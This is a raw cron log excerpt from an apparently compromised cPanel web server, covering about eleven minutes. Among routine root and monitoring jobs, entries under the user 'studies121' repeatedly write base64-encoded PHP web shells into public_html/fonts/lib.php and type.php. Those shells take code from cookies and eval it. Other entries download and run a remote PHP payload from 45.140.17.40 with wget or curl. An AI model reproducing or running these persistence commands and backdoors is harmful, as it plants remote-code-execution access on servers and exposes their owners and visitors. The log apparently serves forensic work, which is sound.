Sep  3 16:26:01 ip-184-168-122-23 CROND[579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:26:01 ip-184-168-122-23 CROND[578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:26:01 ip-184-168-122-23 CROND[577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:26:01 ip-184-168-122-23 CROND[580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:26:01 ip-184-168-122-23 CROND[582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:27:01 ip-184-168-122-23 CROND[676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:27:01 ip-184-168-122-23 CROND[678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:27:01 ip-184-168-122-23 CROND[677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:27:01 ip-184-168-122-23 CROND[682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:28:01 ip-184-168-122-23 CROND[766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:28:01 ip-184-168-122-23 CROND[769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:28:01 ip-184-168-122-23 CROND[768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:28:01 ip-184-168-122-23 CROND[767]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:28:01 ip-184-168-122-23 CROND[770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:29:01 ip-184-168-122-23 CROND[932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:29:01 ip-184-168-122-23 CROND[936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:29:01 ip-184-168-122-23 CROND[934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:29:01 ip-184-168-122-23 CROND[937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:30:01 ip-184-168-122-23 CROND[1022]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:30:01 ip-184-168-122-23 CROND[1023]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 16:30:01 ip-184-168-122-23 CROND[1024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:30:01 ip-184-168-122-23 CROND[1030]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:30:01 ip-184-168-122-23 CROND[1029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:30:01 ip-184-168-122-23 CROND[1033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:30:01 ip-184-168-122-23 CROND[1035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:30:01 ip-184-168-122-23 CROND[1034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:30:01 ip-184-168-122-23 CROND[1036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:31:01 ip-184-168-122-23 CROND[1126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:31:01 ip-184-168-122-23 CROND[1127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:31:01 ip-184-168-122-23 CROND[1131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:31:01 ip-184-168-122-23 CROND[1130]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 16:31:01 ip-184-168-122-23 CROND[1134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:32:01 ip-184-168-122-23 CROND[1231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:32:01 ip-184-168-122-23 CROND[1233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:32:02 ip-184-168-122-23 CROND[1235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:32:02 ip-184-168-122-23 CROND[1234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:32:02 ip-184-168-122-23 CROND[1236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:33:01 ip-184-168-122-23 CROND[1329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:33:01 ip-184-168-122-23 CROND[1332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:33:01 ip-184-168-122-23 CROND[1333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:33:01 ip-184-168-122-23 CROND[1331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:34:01 ip-184-168-122-23 CROND[1436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:34:01 ip-184-168-122-23 CROND[1438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:34:01 ip-184-168-122-23 CROND[1440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:34:01 ip-184-168-122-23 CROND[1442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:34:01 ip-184-168-122-23 CROND[1443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:35:01 ip-184-168-122-23 CROND[1528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:35:01 ip-184-168-122-23 CROND[1532]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 16:35:01 ip-184-168-122-23 CROND[1531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:35:01 ip-184-168-122-23 CROND[1530]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 16:35:01 ip-184-168-122-23 CROND[1533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:35:01 ip-184-168-122-23 CROND[1534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:35:01 ip-184-168-122-23 CROND[1535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:35:01 ip-184-168-122-23 CROND[1539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:36:01 ip-184-168-122-23 CROND[1640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:36:01 ip-184-168-122-23 CROND[1644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:36:01 ip-184-168-122-23 CROND[1643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:36:01 ip-184-168-122-23 CROND[1645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:36:01 ip-184-168-122-23 CROND[1642]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:37:01 ip-184-168-122-23 CROND[1725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:37:02 ip-184-168-122-23 CROND[1728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:37:02 ip-184-168-122-23 CROND[1727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:37:02 ip-184-168-122-23 CROND[1729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
